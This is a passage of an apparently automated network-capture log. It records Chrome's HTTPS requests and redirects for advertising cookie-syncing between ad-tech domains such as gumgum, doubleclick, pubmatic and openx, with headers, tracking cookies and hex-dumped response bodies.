2024-04-27 22:42:20 UTC	1012	OUT	GET /sync/gumgum?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:20 UTC	852	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 0 Connection: close Location: https://usersync.gumgum.com/usersync?b=oth&i=y-UetKAt9E2pc8Uq.J_hclKHR1snQsf1oOGYnd~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:20 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.4	50361	54.209.244.95	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	1316	OUT	GET /sync?nid=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs
2024-04-27 22:42:20 UTC	250	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:20 GMT Location: https://usersync.gumgum.com/usersync?b=sta&i=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69 Content-Length: 126 Connection: Close
2024-04-27 22:42:20 UTC	126	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 73 74 61 26 61 6d 70 3b 69 3d 30 2d 62 32 36 38 35 31 63 33 2d 37 61 38 33 2d 35 30 65 36 2d 35 36 63 32 2d 37 32 32 35 38 38 38 31 36 34 38 34 24 69 70 24 31 34 39 2e 31 38 2e 32 34 2e 36 39 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=sta&i=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.4	50366	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	834	OUT	GET /rrum?cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D&cm_dsp_id=85&gdpr=0&ixi=0&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
2024-04-27 22:42:20 UTC	1102	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dsp_secure&google_cm&google_hm=Zi1-RMAoJXEAAC4sAhP6pwAA CF-Ray: 87b2533da84e0aa7-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hi5wMuXdUbMFb1e%2B%2FIRfANLAfl%2B8Hp2itOPt6g1UhWnZI53aSIBadZ2lAT1Nyiw3qRP3BtlSq%2FKH94j7C9iaAI%2BF4n2EAsUgZHo%2FWc%2B%2BoQ70WW0l%2BbS4Vyog2Nj4VfZhP%2F8ujoLCkVBBgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.4	50364	38.91.45.7	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	763	OUT	GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CDIUSER=di_c1494c1900dc4b8c99559; CDIPARTNERS=%7B%221%22%3A%2220240427%22%7D
2024-04-27 22:42:20 UTC	645	IN	HTTP/1.1 303 See Other p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' location: https://usersync.gumgum.com/usersync?b=dit&i=di_c1494c1900dc4b8c99559 set-cookie: CDIUSER=di_c1494c1900dc4b8c99559; Max-Age=47260800; SameSite=None; Expires=Sun, 26 Oct 2025 22:42:20 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240427%22%2C%22142%22%3A%2220240427%22%7D; Max-Age=47260800; SameSite=None; Expires=Sun, 26 Oct 2025 22:42:20 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Sat, 27 Apr 2024 22:42:20 GMT server: c connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.4	50360	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	857	OUT	GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:20 UTC	568	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; Version=1; Expires=Sun, 27-Apr-2025 22:42:20 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://usersync.gumgum.com/usersync?b=opx&i=3397e715-e549-0c28-2698-c9b0a8e971b0 Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.4	50358	68.67.179.164	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	1131	OUT	GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
2024-04-27 22:42:20 UTC	1429	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://usersync.gumgum.com/usersync?b=apn&i=1476058396850158061 AN-X-Request-Uuid: c6f6d145-4fa6-45db-95f9-a4c6167d414b Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:20 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:20 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:20 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 582.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.4	50371	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	872	OUT	GET /pixel?google_nid=lkqd_dbm&google_cm HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:20 UTC	661	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cs.lkqd.net/cs?partnerId=59&partnerUserId=CAESEM0k8Aa7B1DhlNygJTJMocg&google_cver=1 Date: Sat, 27 Apr 2024 22:42:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 296 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:20 UTC	296	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6c 6b 71 64 2e 6e 65 74 2f 63 73 3f 70 61 72 74 6e 65 72 49 64 3d 35 39 26 61 6d 70 3b 70 61 72 74 6e 65 72 55 73 65 72 49 64 3d 43 41 45 53 45 4d 30 6b 38 41 61 37 42 31 44 68 6c 4e 79 67 4a 54 4a 4d 6f 63 67 26 61 6d 70 3b 67 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cs.lkqd.net/cs?partnerId=59&partnerUserId=CAESEM0k8Aa7B1DhlNygJTJMocg&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.4	50363	52.7.87.144	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	830	OUT	GET /d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=0&gdpr_consent=&us_privacy=1YNN&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290
2024-04-27 22:42:20 UTC	460	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:20 GMT Location: https://usersync.gumgum.com/usersync?b=vnt&i=f10e083f-54cc-4ce5-aa07-8210352e586a Set-Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290; Path=/; Domain=ipredictive.com; Expires=Sun, 27 Apr 2025 22:42:20 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: ef3888a5-b89e-4b2d-93e6-466d4703de9b Content-Length: 108 Connection: Close
2024-04-27 22:42:20 UTC	108	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 76 6e 74 26 61 6d 70 3b 69 3d 66 31 30 65 30 38 33 66 2d 35 34 63 63 2d 34 63 65 35 2d 61 61 30 37 2d 38 32 31 30 33 35 32 65 35 38 36 61 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=vnt&i=f10e083f-54cc-4ce5-aa07-8210352e586a">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.4	50375	3.212.29.205	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	715	OUT	GET /s/52176?bidder_id=5298&bidder_uuid=22ec7773-8e4b-4639-873b-a22ce7444b56 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgcKBQgLEOQX; lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
2024-04-27 22:42:20 UTC	568	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 0 Connection: close Location: https://sync.mathtag.com/sync/img?mt_exid=36&7de677f8-dda1-428e-88ae-9b2fad295b01 Set-Cookie: _li_ss=Cg4KBQgLEOQXCgUIBhDkFw; Max-Age=2592000; Expires=Mon, 27 May 2024 22:42:20 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; Max-Age=63072000; Expires=Mon, 27 Apr 2026 22:42:20 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 1 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.4	50376	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	1672	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=51782876&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257737
2024-04-27 22:42:20 UTC	1050	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=159463:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000%3A63%7C1715385600%3A104_22_266_8_214_3_21_165_178_267_13_240_99_220_71_233_176_231_5_7_243_96_54_55_264_56_249_234_238_250_166_48_46; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Sat, 27 Apr 2024 22:42:20 GMT Transfer-Encoding: chunked Connection: close
2024-04-27 22:42:20 UTC	5333	IN	Data Raw: 31 34 63 38 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 76 78 69 69 5f 70 69 64 3d 31 30 30 36 37 26 76 78 69 69 5f 70 64 69 64 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 30 32 30 44 44 37 42 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 34 30 32 34 35 31 39 33 26 76 61 6c 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 Data Ascii: 14c8PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=EE7B59FE-9DAF-415D-A93C-7AF48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.4	50372	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

